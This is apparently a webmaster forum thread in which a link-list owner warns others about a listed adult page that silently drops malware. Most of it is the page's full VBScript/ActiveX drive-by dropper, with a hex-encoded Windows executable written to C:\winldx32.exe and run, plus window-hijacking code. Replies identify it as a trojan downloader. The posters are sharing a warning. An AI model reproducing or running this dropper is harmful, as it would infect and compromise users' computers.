Virus installer :(

[Cleo]

I'm manually checking every listing in my LL.

Second page downloads some kind of file to my desktop that looks like a virus.
http://www.tyroneking.net/amateurfantasy/adult.htm

Contact_Name bazz
Contact_Email ducas@ducaslatincenterfold.net

This is what it is installing

<OBJECT id="MSmedia" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></OBJECT>
<OBJECT id="MSplay" classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></OBJECT>
<SCRIPT language=vbs>
filename = "C:\winldx32.exe"
set IESetup=MSmedia.CreateTextFile(filename,1)
z=""
z=z+(H("4D5A00000100000002000000504500004C010200465347210000000000000000E0000F010B0100000018000000A201000000000040E80100001000000C0000000000400000100000000200000400000000000000040000000000000000F001000002000000"))
z=z+(H("00000002000000000010000010000000001000001000000000000010000000000000000000000005E9010034000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
z=z+(H("00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007400000000D00100001000000000000000000000000000000000000000000000E00000C0000000"))
z=z+(H("00120000000010000000E001008009000000020000000000000000000000000000E00000C04B45524E454C33322E646C6C0000004C6F61644C69627261727941000047657450726F6341646472657373000000000000000000000000000000000000000000"))
z=z+(H("00000000FBE84100EFE84100F1E84100980140000010400000E041000140400000000000DC314000010000002DE941000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
z=z+(H("0000000000000055398BEC1D45104E88B81802890DE040E3C32118B09004C8A4640832AC190C0CA886431021A09018C89C6414416A088F8047568E1910C4080481B41033C0C966C3EDE817E058372D7E860760E0F08D86FB601D1250FF96F96C110E1A0144"))
z=z+(H("126AED911EC5786F06148C0218E1888BD8C53AC513482ADD810BC00F84EE87918B480C3609040C898E6B1E2A6619C786670F024209692C9510558D13E553916EC92085298CB79BB30501190903681DC08A4AC71B5B91F579C8B49486488BE82E216F1991CD"))
z=z+(H("6F5A3410D999D10C7EFF8A24061E2291D53EC6A8F3CB835C36A8010EA8FC1CA42D46ED0A3B8DBE121D80A8260001742133C96681BC5031134D7E5A0007413BC872EFEBC3A44400018D3C392BC1505764557AF146EBAC1345E9919BD90561C9C20424056A01"))
z=z+(H("BEE8770E73325F33632E646C8F0055704C6F1C6144207E76386E6546BA4A800181C4C838FEFFBB578CFA660620750C09C685CB1F0129EB07092FA09A02E86C08C0368945FCC78564D42728A94F440A50FA750AFCE892080F10F89F18C2190BC0057501408D"))
z=z+(H("BD18113E085729E8A2140502EB2E62269C2F85BC28000DFD8BC8B05C1CF2AE4755FC2C21768E0F85359B3B8B37DC4361F880BD4C910F3284872B50A18F2AE81950277479893085D037837D18E1F31C2E406810106E8EBB46AAB58218E80A912752A06A17CF"))
z=z+(H("060C3419C4FD070C593538038B45148D95CC312752465051A3B83B9875458BCF29EB17E8E2B007B19C1050D85FC9C2701C256068C91F6AD4E8EAD234B61D7B6103E78BD8682E5F1B14E5318684DB0E959419460D21054F30A268811253E8AB906985118CA7"))
z=z+(H("4ADE1675972215E8D04BA5BC990C2B0913687202EC4CA480D18A0D64867A337EF7F9720CFCD6C461C605B90AA7E8C2E84B9029398D503D1180ED2E32092011B92E3C08F008EBC5C605DA8CE8ADEB64AF103C5992F08F0D61C3ADE30FF102BDAB28EB0A50E0"))
z=z+(H("05B184F7084D8442C6226D0065736B67766E6F69F072C2126C6A66819A40E941C24C3760783F5760668C0AD8A80474C61D99F3313F820F91BEB72F1FCE19023C803190A8493C649D39FA9209688E09AAA50511A164558F45FF35053CE8472B2B109FD9E29B"))
z=z+(H("1C451C0C0B0588EB7CA77E90E1B1EE050EB1C9051F88A9709E05859A871782A7231E07C7332C01337366103014288D353B50AF7B4017AC4C0ABF091D3C2E0EA28F20000CAAEBF0B81C2532450FAB4F2CE713308462DE5CA5D810751885D29B7CAD1E2CA85F"))
z=z+(H("FE0E7F41AA835E6147E82978DA1383C41437815A90490D6425FD81A44795C6B91FACB17C0A58E6CA7130E97E4BB8C220CE36037E8383C0058BCB029F04A3ED4415B8C715B2E111CC1F21DD11D1F2C911D61F21CD11DBF2D111E01F21D511E5F2D911EA1F21"))
z=z+(H("E51127F2F511721F21ED11ADF2F111B51F21E908F924F1F9106810279250225A0399B099321566282F3D3F38F45CBED49A09E09304258543082313BACC188A6A025AAA988950B802AA3486E206627CE28A9CB3F5841FFE058585B469B9C34CABDC10811924"))
z=z+(H("53C0C007E826FB80EB58AC9721C302479BA8C7A8A45D78AC4202BC2187914B752E19018F4F8A1B0C1446051BB0FAEC222310843E585727310EB576101330A6893552F944D37FDD852E23213D112FC8BA76425C230C9097EC678421E9F80A75781F54424723"))
z=z+(H("CA1059B8738446AB213A717D088C8C421BE250116D14FD954C6E06FC680401372485D85542E8FEE43D562C114405E870F0AE0F44584194DB48100033D280385C7598617BD0DC103C0FF342C67846B341AC372B0D01FA9202CB5A441976C517A389D733C274"))
z=z+(H("6294588405558C3FFFB40E4417640C480DD395500B58B921891AAA22310B211133C09CC850694D1DB22E4B494BD8AA248226258443D7210D54903CC81064143218191C0C208643242128902CDEE19034C838647037A864443248194C0C508643742158905C"))
z=z+(H("C86064643268196C0C7C8643082104B84321A4908CC89064943298199C0CA083000000AD01605C636D64722E2A617409EDF2A00B696578701D6C6F72BEEF105C3C7BFDE961500A6D7969A413F26F7A7A716CA4153B7468346266232A75EE6CEA6B86CE7A67"))
z=z+(H("F416826D736EB3128820646FFB0350DF6F007563744E61666D1856BA3773692AC775C66214E042EF87B0644C61BA751C6E1D5387667477DC705C194D69636673BD1D3D57336E8677DF81437572BD30A9743EA32A58204E57542D80474554202FFC635068A9"))
z=z+(H("70E9C93FD0726D193D46266831D925D3220F321C20485440502F312E300D3E0A55E16A2D4167807D3A204D53494576360A436F6D70F00369626C65363C4860316677022E6AD91C346E44DD1BD7C73C284BFA6770706CC6764DD404257FC46A34388C073A67"))
z=z+(H("6C2064FEAA20320E6966FB26AE88DE1B4E676FFCBF571C70905DAB560000011C843040005553455233321C2E646C780079737072696E74386641190110354B9C324ED44C1CDF03726561749B50B16F63E173C5414C0F52F86D636F0C5468291B6413BEB86F"))
z=z+(H("9F6C68F9B1706E536EFFB373DE40E0473A7869D339450C0C3049EBE84D6FEE757C6C304669084E616DFE41A113539B64725C7792AE126554CA7018111B6C6F7962E9E164C7DFEF2A6D0FC644DADD4828128611CA9E6E216892C85F31185170F16E4A852952"))
z=z+(H("0820A3DE36BFA9740F474E66781C6F555CAE700D5834ED75A0D9FAC638457894C10E73654861B7B23A045985242C094D9201FE79E194527715706F6E9CCC63E641A40981B7694D0AE5794909BF7CE2124E6F81FD4C6962F7B7FC2D59F9997046865343B467"))
z=z+(H("0E3A4F626A8A638209017C227D5348427B947C49555177A3862A3875E9DC3E22EE447A5629504920A8221D675175329E568D880E945041112A4FF07D4B53790E2943C0361F7A448C571453325F3BDC1C0328015404063486431021139017C873460200BEA4"))
z=z+(H("014000AD93AD97AD5696B280A4B680FF1373F933C9FF13731633C0FF13731FB68041B010FF1312C073FA753CAAEBE0FF530802F683D901750EFF5304EB26ACD1E8742F13C9EB1A9148C1E008ACFF53043D007D0000730A80FC05730683F87F77024141958B"))
z=z+(H("C5B600568BF72BF0F3A45EEB9D8BD65EAD48740A7902AD50568BF297EB87AD935E46AD9756FF1395AC84C075FBFE0E74F0790546AD50EB09FE0E0F841838FEFF5655FF5304ABEBE033C941FF1313C9FF1372F8C302D275058A164612D2C32DE90100000000"))
z=z+(H("0000000000540100002DE901000000000000000000000000000000000000000000610100006F0100000000000000000000000000626573742D766F796575722E696E666F000000000000000000000000000000000000000000000000000000000000000000"))
z=z+(H("000000000000000000000000000000"))
IESetup.Write(z)
IESetup.Close()
MSplay.Run (filename),1,TRUE
self.moveto 0,0
self.resizeto 10000,10000
document.write("<a href="""" onmouseover=""javascript:window.close();""><img src=1.jpg WIDTH=3000 HEIGHT=3000 border=0></a>")
self.close
Function H(H1)
Dim H2
Dim H3:H2=""	
For H3=1 To Len(H1) Step 2
H2=H2&Chr("&h"&Mid(H1,H3,2))
Next
H=H2
End Function
</SCRIPT>

[Linkster]

Cleo - it almost looks like its coming from the paycounter - its a trojan downloader - being activated when you go to the second page? Its definitely activated by javascript and then tries to use a vbs and activex exploit to load - checking the files that were downloaded on my test were about 10 files - two js files, a vbs script and a bunch of count.html pages - those pages also have all kind of exploits in them

I noticed that all his sponsor links are going to adultdialersolution - thats a real shame - but its happening on a bunch of free sites

[Cleo]

I've been hand checking links all day. What A Fucking Mess!

Removed over half my Amateur links so far today and I'm still working on today's second cat.

I've deleted a few trusted submitters today as a result.

[Ramster]

It is a chore for sure

[Erick G]

that really sucks
so many asshats in this world
I had the same problem on my tgp
some guy kept redirecting to spyware installs
At first i thought it could of been the tgp script since it was a free version of autogallery pro
I had to reformat my pc it got so bad
I couldnt remove it.
I switched to firefox.